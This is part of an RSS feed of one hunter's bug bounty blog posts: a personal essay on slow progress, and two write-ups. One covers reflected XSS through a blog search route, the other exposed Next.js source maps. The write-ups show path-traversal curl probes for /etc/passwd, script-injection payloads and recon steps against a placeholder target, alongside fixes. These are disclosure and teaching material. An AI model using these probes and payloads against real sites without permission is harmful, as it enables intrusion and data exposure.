alt=""><hr><p><a href="https://infosecwriteups.com/admin-admin123-how-default-keycloak-credentials-on-a-cargo-training-environment-exposed-766-f026dcf45023">admin:admin123 — How Default Keycloak Credentials on a Cargo Training Environment Exposed 766…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing Enterprise SSO via a Forgotten Source Map: A Bug Bounty Story]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://infosecwriteups.com/bypassing-enterprise-sso-via-a-forgotten-source-map-a-bug-bounty-story-a43ab0973146?source=rss-3df8e98f0e63------2"><img src="https://cdn-images-1.medium.com/max/1536/1*Omd0ev0CqBSJFovqcVzOTw.png" width="1536"></a></p><p class="medium-feed-snippet">When you look at a bug bounty scope with 15+ root domains, it&#x2019;s easy to get overwhelmed. Most hunters will fire off their automated&#x2026;</p><p class="medium-feed-link"><a href="https://infosecwriteups.com/bypassing-enterprise-sso-via-a-forgotten-source-map-a-bug-bounty-story-a43ab0973146?source=rss-3df8e98f0e63------2">Continue reading on InfoSec Write-ups »</a></p></div>]]></description>
            <link>https://infosecwriteups.com/bypassing-enterprise-sso-via-a-forgotten-source-map-a-bug-bounty-story-a43ab0973146?source=rss-3df8e98f0e63------2</link>
            <guid isPermaLink="false">https://medium.com/p/a43ab0973146</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bugs]]></category>
            <dc:creator><![CDATA[Priyansh]]></dc:creator>
            <pubDate>Mon, 29 Jun 2026 14:10:33 GMT</pubDate>
            <atom:updated>2026-08-10T09:40:16.714Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[2 Years of P5s, Sleepless Nights, and Finally Making it to a Hall of Fame]]></title>
            <link>https://medium.com/@priyanshbhadoria5/2-years-of-p5s-sleepless-nights-and-finally-making-it-to-a-hall-of-fame-b43144bdaa48?source=rss-3df8e98f0e63------2</link>
            <guid isPermaLink="false">https://medium.com/p/b43144bdaa48</guid>
            <category><![CDATA[self-improvement]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Priyansh]]></dc:creator>
            <pubDate>Sat, 06 Jun 2026 10:58:21 GMT</pubDate>
            <atom:updated>2026-06-06T10:58:21.117Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EJztyaOjy27n3Nh8KDsECQ.png" /></figure><p>I have always lived by one specific philosophy: <em>“I’ll learn it when I have it, or I’ll learn it when the time comes.”</em></p><p>That is how I have lived my life. That is how I learned things. And for a long time, I thought it was working.</p><p>If you ask me what I knew when I started in cybersecurity, I’ll tell you the truth without bluffing: I knew almost all the “basics.” I consumed everything I could find from YouTube, Instagram reels, and Medium posts. I watched the tutorials, I followed along, and I genuinely believed I was learning.</p><p>But recently, when I actually stepped into the real field, I got a harsh reality check. I realized I was falling far, far behind.</p><p>And it broke me.</p><h3>The 2 AM Panic Loop</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*tgnz23ZAtljQYvgSf3tohg.jpeg" /></figure><p>Upset doesn’t even begin to cover how I felt. There were days when I couldn’t sleep. Every time I closed my eyes, a wave of guilt would hit me: <em>“I should be learning something right now instead of resting.”</em></p><p>So, I’d open my computer at 2 AM and start learning. The ironic part? I didn’t even know <em>what</em> I was supposed to be learning. I was just randomly consuming information hoping something would stick. Then, I’d apply for jobs.</p><p>That was my routine for two straight years. Looking back, I know a lot of it was a waste of time. But I was trapped in a loop.</p><h3>The Danger of Being Too Shy to Ask for Help</h3><p>Why didn’t I just ask for help? Why didn’t I find a mentor?</p><p>I am a very shy person. In cybersecurity, it feels like everyone is connected, confident, and loud. I was terrified of reaching out. Whenever I gathered the courage to ask a question and got ignored, it validated my worst fear: <em>I shouldn’t have asked. I need to figure this out on my own.</em></p><p>I built a wall around myself. I adopted the mindset that no one was going to come to save me when I needed help, so I had to forge my own path in the dark.</p><h3>The Valley of P5s</h3><p>During those two years, I got into bug bounty. I was hunting, but my results were deeply frustrating. I found bugs, but almost all of them were P5s (Informational).</p><p>If you do bug bounty, you know the feeling. A P5 is a pat on the back, but it doesn’t pay the bills, and it doesn’t prove you are an elite hacker. Every time I got that “Informative” label, it reminded me that I was still at the bottom. It upset me, but I clung to one last shred of hope: <em>If I just keep studying, things will change.</em></p><h3>The Breakthrough</h3><p>That hope finally materialized recently.</p><p>I was hunting on a private program and found a real, solid bug. It wasn’t a P5. It was an actual, impactful vulnerability.</p><p>The company was Bose.</p><p>They verified the report, fixed the issue, said “Thanks,” and added my name to their Hall of Fame.</p><h3>What Moving to “Intermediate” Actually Feels Like</h3><p>…and that’s how I was able to take my first real step and realize what moving past “beginner” actually feels like.</p><p>It doesn’t feel like a sudden superpower. It doesn’t feel like you suddenly know everything. Moving from beginner to intermediate feels like <em>relief</em>. It’s the moment you realize that your random, obsessive, 2 AM learning sessions actually built a foundation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*aUuFHlLVykuwcVRDXWp3JA.jpeg" /></figure><p>I can see this shift clearly in how I approach labs now. Sometime ago, I started doing TryHackMe to build my confidence. I still use guides when I get stuck, but something is fundamentally different. I can now do many steps on my own where the guide used to confuse me. More importantly, I finally understand the <em>thinking</em> behind the guide.</p><p>I don’t follow the walkthrough steps exactly as they are written anymore; I try to think for myself first. When I started out, I used to follow guides 100%. Now, I’ve decreased that reliance to about 80% or 90%. And I truly believe that in the upcoming months, I can bring that down to 50%. That is what leveling up looks like — not knowing everything, but relying less on copy-pasting and more on your own brain.</p><p>You don’t need to be loud on Twitter or have a massive network to make it. You just need to be too stubborn to quit.</p><p>I am not saying I’ve made it. I still have a long way to go. But the difference between me two years ago and me today is that I no longer close my eyes with guilt.</p><p>To anyone stuck in the P5 phase, feeling shy, and afraid to ask for help: keep your head down. Study blindly if you have to. The transition from beginner to intermediate is quiet, but when it happens, you’ll know. You’ll get your Hall of Fame.</p><p><em>If you feel the same way, leave a comment below. I would love to talk.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b43144bdaa48" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunting for Bugs When the Low-Hanging Fruit is Forbidden: A Deep Dive into Finding Reflected XSS]]></title>
            <link>https://infosecwriteups.com/hunting-for-bugs-when-the-low-hanging-fruit-is-forbidden-a-deep-dive-into-finding-reflected-xss-8d52f058ad78?source=rss-3df8e98f0e63------2</link>
            <guid isPermaLink="false">https://medium.com/p/8d52f058ad78</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bugs]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[Priyansh]]></dc:creator>
            <pubDate>Sat, 23 May 2026 06:56:56 GMT</pubDate>
            <atom:updated>2026-05-23T06:56:56.804Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qYIH1AxykE6GDIjVGNv38A.png" /></figure><p>Bug bounty is often romanticized as running automated scanners, waiting for the green text to pop up on your terminal, and collecting a bounty. But what happens when the target explicitly forbids reporting the exact things scanners are best at finding?</p><p>Recently, I was assessing a corporate marketing site for a major tech company. The target was a sleek, modern website built for lead generation and blogging. But when I looked at their scope and out-of-scope rules, my heart sank just a little bit.</p><p>Out of Scope:</p><ul><li>HTTP, HTTPS, or TLS Security Header Configuration suggestions</li><li>DNS, DNSSEC, SPF, or DMARC Configuration Suggestions</li><li>Using components with Known Vulnerabilities</li><li>Denial of Service / Rate Limiting</li></ul><p><em>My thought process:</em> “Okay, they’ve shut the front door, the back door, and all the windows. No cookie flags, no CSP misses, no outdated jQuery versions. They are forcing me to do actual vulnerability research. They want logic flaws. They want injection. Let’s go back to basics.”</p><p>Here is the step-by-step story of how a strict out-of-scope list forced me to look deeper, leading to the discovery of a critical Reflected Cross-Site Scripting (XSS) vulnerability.</p><h3>Phase 1: Profiling the Target (The “Who Are You?” Phase)</h3><p>Before throwing requests at the server, I needed to understand what I was looking at. A quick pass with a browser and Wappalyzer revealed the stack:</p><ul><li>Frontend: A bleeding-edge, resumable JavaScript framework (specifically designed for near-instant load times).</li><li>Hosting: A major Edge/Serverless platform (Vercel).</li><li>Features: PWA (Progressive Web App) enabled.</li></ul><p><em>My thought process:</em> “This is important. This isn’t a legacy PHP WordPress site. This is a modern, statically-generated-at-the-edge application. Edge platforms usually have excellent default protections against path traversal and simple file inclusions. I need to find where user input flows dynamically.”</p><p>Because it was a static site at the edge, there was no traditional backend database to speak of for the main pages. However, I noticed a contact form and a blog section. If there was going to be an injection point, it would be where dynamic data met static templates.</p><h3>Phase 2: The Skeleton in the Closet (Analyzing the Build)</h3><p>When dealing with modern JavaScript frameworks, the actual routing and component mapping are often hidden from the standard HTML source. But frameworks leave behind a map: the bundle graph manifest.</p><p>I crawled the site and extracted a specific JSON file: bundle-graph.json.</p><p>If you’ve never looked at one of these, it’s essentially the blueprint of the entire frontend application. It lists every JavaScript chunk, but more importantly, it lists every dynamic route the application handles.</p><p>Buried in the JSON array, I found these entries:</p><ul><li>&quot;blog/search/[search]/&quot;</li><li>&quot;data/blog-taxonomy/&quot;</li><li>&quot;images/[...key]&quot;</li></ul><p><em>My thought process:</em> “Bingo. We have a search endpoint that takes a parameter, a data endpoint that returns JSON, and a catch-all image route. The search endpoint is our primary target. Input goes in, and if it’s not properly encoded, output comes out.”</p><h3>Phase 3: Chasing the Red Herring (The Path Traversal Attempt)</h3><p>Before jumping to the search feature, my eyes locked onto &quot;images/[...key]&quot;. A catch-all route for images is a classic vector for Local File Inclusion (LFI) or Path Traversal.</p><p>I fired up my terminal and tested various traversal payloads against the image directory:</p><blockquote>curl -s -o /dev/null -w “%{http_code}” “<a href="https://target.com/images/..%2f..%2fetc/passwd">https://target.com/images/..%2f..%2fetc/passwd</a>&quot;<br># Output: 400</blockquote><blockquote>curl -s -o /dev/null -w “%{http_code}” “<a href="https://target.com/images/....//....//etc/passwd">https://target.com/images/....//....//etc/passwd</a>&quot;<br># Output: 308 (Redirect to 404)</blockquote><blockquote>curl -s “<a href="https://target.com/etc/passwd">https://target.com/images/%2e%2e/%2e%2e/etc/passwd</a>&quot; | head -5<br># Output: 404 HTML Page</blockquote><p><em>My thought process:</em> “As expected. The edge hosting platform is strictly validating the file paths before passing them to the file system. It’s returning 400 Bad Request and safely redirecting traversal attempts to a 404 page. Good for them, bad for my easy bounty. Move on.”</p><h3>Phase 4: Probing the Search Functionality</h3><p>Now it was time to look at blog/search/[search]/.</p><p>When testing search endpoints, the goal isn’t to guess a payload immediately. The goal is to understand how the application handles your input. Does it encode it? Does it strip it? Does it reflect it at all?</p><p>I used a unique marker string — UNIQUEMARKER123—and sent the request:</p><blockquote>curl -s “<a href="https://target.com/blog/search/UNIQUEMARKER123/">https://target.com/blog/search/UNIQUEMARKER123/</a>&quot; | grep -i “UNIQUEMARKER123”</blockquote><p>The terminal lit up. The string was reflected back to me. But <em>where</em> and <em>how</em> it was reflected was the critical part. I looked at the raw HTML response, and my heart skipped a beat.</p><p>The string UNIQUEMARKER123 was injected into the following places:</p><ol><li>The &lt;title&gt; tag: &lt;title&gt;Search: UNIQUEMARKER123 - Blog&lt;/title&gt;</li><li>The Meta Description: &lt;meta name=&quot;description&quot; content=&quot;Search results for &quot;UNIQUEMARKER123&quot; on the...&quot;&gt;</li><li>The JSON-LD Structured Data: Injected directly into a script tag.</li><li>The visible HTML body: Search results for “UNIQUEMARKER123”</li></ol><p><em>My thought process:</em> “Wait, look closely at the JSON-LD and the Title tag. The quotes are either completely unencoded or improperly encoded. In a properly secured framework, my input should look like UNIQUEMARKER123 or &amp;#34;UNIQUEMARKER123&amp;#34;. Here, it&#39;s raw. I can break out of the HTML context.&quot;</p><h3>Phase 5: The “DangerouslySetInnerHTML” Smoking Gun</h3><p>I examined the framework’s specific SSR (Server-Side Rendering) payload in the HTML source. Modern frameworks usually escape variables by default to prevent XSS.</p><p>However, when I looked at how the JSON-LD structured data was being rendered, I found this attribute in the server payload: &quot;0 #2 type&quot;,&quot;0 #2 dangerouslySetInnerHTML&quot;</p><p><em>My thought process:</em> “There it is. dangerouslySetInnerHTML. For those who don&#39;t know, in the React/modern-JS ecosystem, dangerouslySetInnerHTML is an escape hatch. It tells the framework: <em>&#39;Trust this string completely, don&#39;t sanitize it, just dump it straight into the DOM.&#39;</em></p><p>The developers likely used this to safely inject their own JSON-LD schema, but because they concatenated user input (the search term) into that JSON <em>before</em> passing it to the DOM, they completely bypassed the framework’s built-in XSS protections.”</p><h3>Phase 6: Crafting the Payload</h3><p>Because the input was being injected raw into the HTML stream without encoding, I didn’t need a complex obfuscation bypass. I just needed to break out of the current HTML tag and inject a new one.</p><p>I crafted a simple payload to test the &lt;title&gt; tag breakout:</p><blockquote>test&lt;/title&gt;&lt;script&gt;alert(1)&lt;/script&gt;</blockquote><p>When URL-encoded and sent to the server:</p><p>Result: &lt;script&gt;alert(1)&lt;/script&gt; was successfully injected into the HTML source.</p><p>I tested a second payload to break out of a meta tag attribute context:</p><blockquote>test”&gt;&lt;script&gt;alert(1)&lt;/script&gt;<br>curl -s “<a href="https://target.com/blog/search/test%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E/">https://target.com/blog/search/test%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E/</a>&quot; | grep -i “&lt;script\|alert”</blockquote><p>Result: Confirmed again. The script tag was successfully injected.</p><p>At this point, the vulnerability was mathematically proven via curl. If a browser renders this HTML, the JavaScript will execute.</p><h3>The Aftermath &amp; Lessons Learned</h3><p>The Vulnerability: Reflected Cross-Site Scripting (XSS) via the blog search parameter. The Root Cause: The application used an unsafe DOM injection method (dangerouslySetInnerHTML) to render JSON-LD structured data, failing to sanitize or encode user-supplied input (the search term) before concatenating it into the HTML stream.</p><p>Why it matters: Even though this was “just” a blog on a corporate marketing site, the impact is severe.</p><ol><li>Phishing: An attacker could craft a malicious URL and send it via a highly targeted spear-phishing email (e.g., <em>“Check out these new industry insights!”</em>). When the victim clicks, the XSS executes, allowing the attacker to rewrite the page to look like a legitimate login prompt.</li><li>Credential Theft: If any admin or editor is logged into a CMS tied to the same domain/session, their session cookies could be exfiltrated.</li><li>Reputation Damage: Defacing the blog of a major tech company, even temporarily, is a PR nightmare.</li></ol><p>The Developer Takeaway: Modern JavaScript frameworks are incredibly secure <em>by default</em>. They do the heavy lifting of output encoding so developers don’t have to think about it. However, security escapes through “escape hatches.” When you use directives like dangerouslySetInnerHTML (or its equivalent in Vue, Svelte, etc.), you are taking off the seatbelt. If you <em>must</em> use them, you must implement strict, manual sanitization (like DOMPurify) on any data that touches that injection point.</p><p>The Hacker Takeaway: When a bug bounty program locks down the easy stuff — headers, DNS, outdated components — they are doing you a favor. They are forcing you away from automated noise and pushing you toward actual application logic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R5voXRa85r4TQpRhtuedpg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8d52f058ad78" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/hunting-for-bugs-when-the-low-hanging-fruit-is-forbidden-a-deep-dive-into-finding-reflected-xss-8d52f058ad78">Hunting for Bugs When the Low-Hanging Fruit is Forbidden: A Deep Dive into Finding Reflected XSS</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing the Frontend Obfuscation: How I Uncovered a Company’s Entire Internal Architecture…]]></title>
            <link>https://infosecwriteups.com/bypassing-the-frontend-obfuscation-how-i-uncovered-a-companys-entire-internal-architecture-da95e27668c9?source=rss-3df8e98f0e63------2</link>
            <guid isPermaLink="false">https://medium.com/p/da95e27668c9</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bugs]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Priyansh]]></dc:creator>
            <pubDate>Wed, 20 May 2026 08:05:00 GMT</pubDate>
            <atom:updated>2026-11-21T14:43:43.529Z</atom:updated>
            <content:encoded><![CDATA[<h3>Bypassing the Frontend Obfuscation: How I Uncovered a Company’s Entire Internal Architecture Through Source Maps</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w5X3qUNRGlNQ9Jn7ZyP-Kw.png" /></figure><p>As bug bounty hunters, we are trained to find the chink in the armor. But what happens when the target has no visible cracks?</p><p>Recently, I was tasked with testing a large logistics and cold-chain storage company. Their main web application was a modern, sleek, Single Page Application (SPA). On the surface, it seemed impenetrable: heavily shielded by Cloudflare’s Web Application Firewall (WAF), utilizing reCAPTCHA v3 on all forms, and hiding its backend behind AWS infrastructure.</p><p>This is the story of how a methodical, step-by-step approach to JavaScript analysis — and one specific configuration mistake — allowed me to peel back the layers of their application and extract their entire internal architecture, hidden API endpoints, and backend secrets schema.</p><p>Here is the playbook of how it was done.</p><h3>Phase 1: The Reconnaissance &amp; The “Brick Wall”</h3><p>Every engagement starts with mapping the attack surface. I fired up my standard passive reconnaissance pipeline: subfinder for subdomain enumeration, followed by httpx to probe for live HTTP services.</p><p>The results returned a mix of marketing sites, a VPN portal, and an exposed 1Password SCIM bridge. However, when attempting to interact with these endpoints, I hit a brick wall.</p><ul><li>Internal portals returned 403 Forbidden (Cloudflare Access policies blocking unauthorized IPs).</li><li>The VPN portal was firewalled.</li><li>The main website’s contact forms required a valid reCAPTCHA v3 token.</li></ul><p>My Thought Process: <em>“If the WAF is aggressively blocking my standard XSS/SQLi payloads via </em><em>curl, and the backend APIs strictly validate captchas before processing any data, traditional backend exploitation via the command line is dead. I need to shift my focus entirely to the client-side. What is the frontend telling the browser that it isn&#39;t telling me?”</em></p><h3>Phase 2: JavaScript Deconstruction</h3><p>Modern SPAs rely heavily on JavaScript to function. To understand how the application communicates with its backend, I needed to extract all the JavaScript files the application was loading.</p><p>I parsed the HTML source and extracted the URLs for the application’s JavaScript chunks. Because the app was built with Next.js (identifiable by the /_next/static/chunks/ paths), the logic was split across multiple chunked files (e.g., page-47cfb6057bc373dc.js).</p><p>I downloaded these files and began running targeted regex queries to hunt for interesting strings: API routes, hardcoded tokens, and third-party service integrations.</p><p>The Findings:</p><ol><li>Hidden API Routes: Buried in the minified code, I found fetch(&quot;/api/submitContactForm&quot; and, more interestingly, fetch(&quot;api/submitForm&quot;. <em>Why are there two different contact form endpoints?</em></li><li>Third-Party Integrations: References to SENDGRID_API_KEY and NEXT_AWS_SECRET_ACCESS_KEY (though, frustratingly, only as variable references, not hardcoded values).</li><li>Mapbox Token: I found a hardcoded Mapbox public token. However, testing it revealed the developers had correctly restricted it to their domain, rendering it useless for financial abuse.</li></ol><p>My Thought Process: <em>“I found the API routes, but I can’t exploit them because of the captcha. I know they use SendGrid and AWS, but I don’t have the keys. I’m looking at a heavily minified, obfuscated 200KB text file. I need a way to read this code in its original, unminified format.”</em></p><h3>Phase 3: The Next.js Source Map “Cheat Code”</h3><p>Any experienced frontend developer knows that debugging minified code in production is a nightmare. To solve this, build tools like Webpack (used by Next.js) generate “Source Maps” (.js.map files). These files act as a dictionary, translating the minified code back to the original, readable source code.</p><p>Developers are supposed to disable these in production. Frequently, they forget.</p><p>Taking a leap of faith based on the framework fingerprint, I took one of the JavaScript chunk URLs: /_next/static/chunks/app/%5B%5B...slug%5D%5D/page-47cfb6057bc373dc.js</p><p>And I simply appended .map to the end.</p><blockquote><strong>The Request:</strong></blockquote><blockquote>GET /_next/static/chunks/app/%5B%5B…slug%5D%5D/page-47cfb6057bc373dc.js.map HTTP/2</blockquote><blockquote><strong>The Response:</strong></blockquote><blockquote>HTTP/2 200 OK<br>content-type: application/octet-stream<br>content-length: 81235</blockquote><p><em>200 OK.</em> An 81KB file containing the complete, unminified source code for that specific application route.</p><h3>Phase 4: Mining the Goldmine</h3><p>A .js.map file is formatted in JSON. The actual source code lives inside the &quot;sourcesContent&quot; array. I used jq (a command-line JSON processor) to extract just the readable code, stripping away the useless mathematical mapping data.</p><p>From there, it was like reading the developer’s blueprint.</p><p>1. Uncovering the Headless CMS Architecture In the unminified code, I found multiple imports from a file called ~/__generated__/graphql:</p><blockquote>import { type PostContactSubmissionMutationVariables } from “~/__generated__/graphql”;<br>import { type AcfMediaItemConnectionEdge } from “~/__generated__/graphql”;</blockquote><p>The Deduction: AcfMediaItemConnectionEdge is a dead giveaway. &quot;ACF&quot; stands for Advanced Custom Fields, a plugin exclusively used in WordPress. Combined with graphql, this instantly revealed that the sleek Next.js frontend was just a headless wrapper pulling data from a WordPress + WPGraphQL backend.</p><p>2. Extracting the Exact API Validation Logic I found the exact code handling the /api/submitForm endpoint:</p><blockquote>const response = await fetch(“api/submitForm”, {<br> method: “POST”,<br> body: JSON.stringify({<br> data: { uri: pageData.uri, fields },<br> captcha,<br> }),<br>});</blockquote><p>The Deduction: I now knew the exact JSON structure the backend expected. I knew it required a uri (likely a HubSpot or CMS form ID) and a fields object.</p><p>3. Enumerating Server-Side Environment Variables I extracted the exact Zod validation schema the backend used on startup:</p><blockquote>REVALIDATE_SECRET_KEY: z.string().min(1),<br>SENDGRID_API_KEY: z.string(),<br>NEXT_AWS_SECRET_ACCESS_KEY: z.string(),<br>RECAPTCHA_SECRET_KEY: z.string(),</blockquote><h3>Phase 5: The “Hacker’s Perspective” (Impact)</h3><p>If I were an advanced persistent threat (APT) targeting this company, how would I use this Information Disclosure?</p><ol><li>Bypassing the WAF via Direct Backend Targeting: The Cloudflare WAF successfully blocked my XSS payloads on the frontend. However, the source map revealed the exact location of the WordPress backend. If I could find the IP address of the internal AWS server hosting the WPGraphQL endpoint (via ASN lookup, Shodan, or a minor SSRF flaw elsewhere), I could bypass the Cloudflare WAF entirely and attack the WordPress backend directly.</li><li>Targeted Exploitation: Instead of blindly fuzzing the main website, I now know exactly which proprietary GraphQL mutations (like PostContactSubmissionMutation) to target. I can craft highly specific payloads to exploit potential business logic flaws in their email routing logic.</li><li>Credential Stuffing / LFI Preparation: Knowing they rely on AWS (NEXT_AWS_SECRET_ACCESS_KEY) and SendGrid allows an attacker to pivot to AWS-specific misconfiguration attacks (e.g., S3 bucket fuzzing based on the AWS Account ID, or attempting to exploit known Server-Side Request Forgery vulnerabilities in older AWS SDK versions).</li></ol><h3>Conclusion: Why “Informational” Findings Matter</h3><p>In the bug bounty world, findings like this are often marked as “Informational” or Low severity because they don’t directly leak user passwords or result in Remote Code Execution. It’s easy to get frustrated by this.</p><p>But information gathering is the most critical phase of an attack.</p><p>By finding these source maps, I transformed a black-box application into a white-box application. I stripped away the Cloudflare obfuscation, identified their exact backend technology stack (Next.js → WordPress → WPGraphQL → SendGrid), and mapped their hidden API endpoints.</p><p>For a defensive team, this write-up isn’t just about a missing configuration flag. It’s a warning: <em>Your frontend is leaking your backend’s blueprint to anyone with a browser and 5 minutes of free time.</em></p><p>The Fix: If you are a developer using Next.js, please ensure you explicitly disable source maps in your next.config.js:</p><blockquote>module.exports = {<br> productionBrowserSourceMaps: false,<br>}</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hh1POAKuC8fI3KX_H3cIjw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=da95e27668c9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/bypassing-the-frontend-obfuscation-how-i-uncovered-a-companys-entire-internal-architecture-da95e27668c9">Bypassing the Frontend Obfuscation: How I Uncovered a Company’s Entire Internal Architecture…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Bug That Almost Wasn’t: How a “Dead End” Led to 500+ Leaked Customer Records]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://infosecwriteups.com/the-bug-that-almost-wasnt-how-a-dead-end-led-to-500-leaked-customer-records-18db26e53705?source=rss-3df8e98f0e63------2"><img src="https://cdn-images-1.medium.com/max/1536/1*RjEExewJzpwg6tFMKKIMGA.png" width="1536"></a></p><p class="medium-feed-snippet">A story about persistence, reading between the lines, and why you should always check custom post types</p><p class="medium-feed-link"><a href="https://infosecwriteups.com/the-bug-that-almost-wasnt-how-a-dead-end-led-to-500-leaked-customer-records-18db26e53705?source=rss-3df8e98f0e63------2">Continue reading on InfoSec Write-ups »</a></p></div>]]></description>
            <link>https://infosecwriteups.com/the-bug-that-almost-wasnt-how-a-dead-end-led-to-500-leaked-customer-records-18db26e53705?source=rss-3df8e98f0e63------2</link>
            <guid isPermaLink="false">https://medium.com/p/18db26e53705</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Priyansh]]></dc:creator>
            <pubDate>Sat, 16 May 2026 13:10:00 GMT</pubDate>
            <atom:updated>2026-08-10T09:42:49.310Z</atom:updated>
        </item>
    </channel>
</rss>